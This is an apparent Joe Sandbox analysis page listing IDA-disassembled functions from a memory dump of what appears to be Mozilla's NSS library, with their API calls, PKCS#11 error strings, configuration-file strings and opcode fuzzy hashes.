Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 08eeafa228af107ed8825df1fbdfe4e95f24f2660ec091c8549ae2b52eb3c22e
Instruction ID: fbe0169bc96242faa44907aea31afbfe9b7cfc4afb692a7d883166fdbe06e6de
Opcode Fuzzy Hash: 08eeafa228af107ed8825df1fbdfe4e95f24f2660ec091c8549ae2b52eb3c22e
Instruction Fuzzy Hash: 12228C207481554FD720CB2984A45F67BF2AF46328F688DA8C9E19FF42C665EC41CFB8

Function 6C7ABE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C7AC0B6

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 97ae838cac8467eb021f19eeefa28a62259d76c0d96b15aeab2d2143d189a173
Instruction ID: 25e99b5289a4361793de1e7d51d6a1f3fc08f1d417b347889bff111c1033781f
Opcode Fuzzy Hash: 97ae838cac8467eb021f19eeefa28a62259d76c0d96b15aeab2d2143d189a173
Instruction Fuzzy Hash: 0192B274A042099FDB14DFA4C990BAEB7F2FF48309F244268D415ABB91D736EC46CB94

Function 6C643D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C643EA9

Strings

0, xrefs: 6C643DAB

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: c39da9551d69adc1554bc9d1a9ebb6e6bda327fc1c35ec0fead4ef99670ef9fa
Instruction ID: bf274c4fc926c6d566a17fb872fd0359b6b6db1133fe08c7aa69aed587fc14fe
Opcode Fuzzy Hash: c39da9551d69adc1554bc9d1a9ebb6e6bda327fc1c35ec0fead4ef99670ef9fa
Instruction Fuzzy Hash: 6D512A31E4A0798AEB1586BD88607FFFBB19B82324F19C33BC5A167AC1D234454797D8

Function 6C6EEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6EF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C6EF0F9

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 683772a073af84a158b85ce19e472fbf70df96445b355af434c0b07ebbf6beb6
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: AD91AF71A0561A8BCB14CF68D8916AEB7F1FF89324F24472ED962A7BC0D730A905CB51

Function 6C712F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C737929), ref: 6C712FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C737929), ref: 6C712FE0

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 50a2b149064b420a9ffb89cbb7a495f0670983b523defa2dbc226c648adb3bfb
Instruction ID: 584f7575710eb361293c1c89dc2ed40428fec6e2ee9a2dfdaa8e275b8a0244f7
Opcode Fuzzy Hash: 50a2b149064b420a9ffb89cbb7a495f0670983b523defa2dbc226c648adb3bfb
Instruction Fuzzy Hash: 0951D271A0C9118FDB108E59CA84B6A73F6FB45328F2D4179D909ABF02D735E946CBC1

Function 6C71ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C71EE3D

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 7760ccc92195edd3803696bedc03272d00482d431ac6b024244117ab38018d23
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: EB71E372E097098FE718CF19C9846AAB7F6BB88304F19462DD85A97F91D730E904CB90

Function 6C7D5E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C7D5B90: PR_Lock.NSS3(00010000,?,00000000,?,6C6BDF9B), ref: 6C7D5B9E
Part of subcall function 6C7D5B90: PR_Unlock.NSS3 ref: 6C7D5BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C7D5E23,6C6BE154), ref: 6C7D5EBF

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: f822c6dfee6939ee2daff8c840b8ad10812072364add70c1a0310ab43b20b26b
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 9B518DB2E0021A8BCB18CF59C9819AEF7B2FF98314B1A457DD815B7745E734B941CBA0

Function 6C78DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ce1292efdb985aef68489fe0b582dde73b4ceef5040e2da4ed6fe9e14c96a7a
Instruction ID: 7a9250479590fd50b9f3c6232453e7ddee735277bcde305da1d0b7057637cdb6
Opcode Fuzzy Hash: 1ce1292efdb985aef68489fe0b582dde73b4ceef5040e2da4ed6fe9e14c96a7a
Instruction Fuzzy Hash: ECF15B75A022058FDB08CF18C584BAA77B2BF89318F298179D9199B741CB35ED42CBE5

Function 6C721DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: e08955a27bfa274e1f0dad1d93a98863cc6c2a82fd58ab4d0749cd671c3b4bfd
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 91D13432E146568BDB118E18C9843DA7B63AB85338F1A8328C8642B7C6C37FED0587D1

Function 6C6B8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef84f35057c9f02f4a0e22a6ec80181435e11590a94074c4e9dbcd5e53b1370f
Instruction ID: cf82918634cb813cfac3f5a49d5430c9ea4aa23892947ae67c5ee179aef7e834
Opcode Fuzzy Hash: ef84f35057c9f02f4a0e22a6ec80181435e11590a94074c4e9dbcd5e53b1370f
Instruction Fuzzy Hash: 4611E232A002168FD714CF14D888B5AB3A5BF8A35CF04827AE8059FA62C375D897C7D9

Function 6C790C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c4f4b3c657a9f56f950c399de06caf9ceaa159ff5be30038642f86ad0f5b5a3
Instruction ID: 433a2bab79be31673d61f64d48def4c1b0c56cc3043042df1bbd1ff62336ee06
Opcode Fuzzy Hash: 5c4f4b3c657a9f56f950c399de06caf9ceaa159ff5be30038642f86ad0f5b5a3
Instruction Fuzzy Hash: 1311C1747043458FCB10DF18D8846AA77B2FF8A368F14C079D8198B701DB31E806CBA0

Function 6C790D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 47672f4507f5e3a7a091c629cfed2c0402593a719c3603ee06a4dc55f1a44973
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 6CE0923A213054A7DB188E09E555AA97359DF8A719FB4807DCC6D9FA01D733F9038781

Function 6C6F1D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C6F1D46), ref: 6C6F2345

Strings

CKR_PIN_INCORRECT, xrefs: 6C6F1D92
CKR_MUTEX_NOT_LOCKED, xrefs: 6C6F2225
CKR_PIN_EXPIRED, xrefs: 6C6F206B
CKR_PIN_LOCKED, xrefs: 6C6F2075
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C6F227F
CKR_SAVED_STATE_INVALID, xrefs: 6C6F1E56
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C6F204D
CKR_PIN_LEN_RANGE, xrefs: 6C6F2061
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C6F2179
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C6F232E
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C6F2319
CKR_OK, xrefs: 6C6F1DFC
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C6F1F8B
CKR_PIN_INVALID, xrefs: 6C6F2057
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C6F2327
rv = %s, xrefs: 6C6F2340
CKR_STATE_UNSAVEABLE, xrefs: 6C6F2037
CKR_TOKEN_NOT_PRESENT, xrefs: 6C6F1F81
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C6F1F77
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C6F20D9
CKR_INFORMATION_SENSITIVE, xrefs: 6C6F22B1
CKR_MUTEX_BAD, xrefs: 6C6F1F49
CKR_OPERATION_ACTIVE, xrefs: 6C6F22B8
CKR_RANDOM_NO_RNG, xrefs: 6C6F22A7
CKR_BUFFER_TOO_SMALL, xrefs: 6C6F2183
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C6F2293, 6C6F233F
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C6F2015
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C6F2320
CKR_FUNCTION_REJECTED, xrefs: 6C6F2289
CKR_DEVICE_MEMORY, xrefs: 6C6F1FF3
CKR_SIGNATURE_INVALID, xrefs: 6C6F20CF
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C6F1EE1
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C6F1DE0
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C6F1F95
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C6F218D
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C6F22FF
CKR_FUNCTION_CANCELED, xrefs: 6C6F1E73
CKR_NEW_PIN_MODE, xrefs: 6C6F1E9F
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C6F1F0F
CKR_DEVICE_ERROR, xrefs: 6C6F229D
CKR_DEVICE_REMOVED, xrefs: 6C6F2261
rv = 0x%x, xrefs: 6C6F2312
CKR_WRAPPED_KEY_INVALID, xrefs: 6C6F1FB5
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C6F2275
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C6F1FD7
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C6F226B
CKR_NEXT_OTP, xrefs: 6C6F222F

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: b6e336f8b9ad7a28851832653b3e286403cc022cc90588baa29c6f89ab3d600d
Instruction ID: 973213d994304504cbaae7ba2b5979fe44abf4b7d7885e9ce504593d036075ed
Opcode Fuzzy Hash: b6e336f8b9ad7a28851832653b3e286403cc022cc90588baa29c6f89ab3d600d
Instruction Fuzzy Hash: 8B61F2A274E1C086E62C444C866B3AC2363B742318FA48537E7758EE55C2F9DE474E9F

Function 6C725DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C725E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C725E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C725E5C
free.MOZGLUE(00000000), ref: 6C725E7E
free.MOZGLUE(00000000), ref: 6C725E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C725EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C725EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C725ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C725EF0
free.MOZGLUE(00000000), ref: 6C725F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C725F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C725F5B
free.MOZGLUE(00000000), ref: 6C725F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C725FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C725FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C725FC4
free.MOZGLUE(00000000), ref: 6C725FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C725FE9
free.MOZGLUE(00000000), ref: 6C725FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C72600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C726027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C72605A
PR_smprintf.NSS3(6C7FAAF9,00000000), ref: 6C72606A
free.MOZGLUE(00000000), ref: 6C72607C
free.MOZGLUE(00000000), ref: 6C72609A
free.MOZGLUE(00000000), ref: 6C7260B2
free.MOZGLUE(?), ref: 6C7260CE

Strings

%s/%s, xrefs: 6C726055
readOnly, xrefs: 6C725E56
secmod=, xrefs: 6C725FB1
forceSecmodChoice, xrefs: 6C725F55
noModDB, xrefs: 6C725EEA
pkcs11.txt, xrefs: 6C725F47, 6C725F7C, 6C72603A, 6C726053
secmod.db, xrefs: 6C725EA0
flags, xrefs: 6C725E3A, 6C725EC6, 6C725F30
configDir=, xrefs: 6C725F9D

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 9881ba919c260dad46014b33dd4c41ab0815ef93a3d7d2fa7d5d5ed7a91bbc67
Instruction ID: 0dac3c78a873d4124eb4ebfe2d20eaa855dadbf3b0b8e82c379aa7d1b6542609
Opcode Fuzzy Hash: 9881ba919c260dad46014b33dd4c41ab0815ef93a3d7d2fa7d5d5ed7a91bbc67
Instruction Fuzzy Hash: BB912AF0D042415BEB618F24AE85BAA3BA89F0634CF180071EC15DBB46E739DA15D7A2

Function 6C6B1D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C6B1DA3

Part of subcall function 6C7898D0: calloc.MOZGLUE(00000001,00000084,6C6B0936,00000001,?,6C6B102C), ref: 6C7898E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C6B1DB2

Part of subcall function 6C6B1240: TlsGetValue.KERNEL32(00000040,?,6C6B116C,NSPR_LOG_MODULES), ref: 6C6B1267
Part of subcall function 6C6B1240: EnterCriticalSection.KERNEL32(?,?,?,6C6B116C,NSPR_LOG_MODULES), ref: 6C6B127C
Part of subcall function 6C6B1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6B116C,NSPR_LOG_MODULES), ref: 6C6B1291
Part of subcall function 6C6B1240: PR_Unlock.NSS3(?,?,?,?,6C6B116C,NSPR_LOG_MODULES), ref: 6C6B12A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B1DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C6B1E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C6B1EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C6B1ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C6B1EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C6B1F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C6B1F34
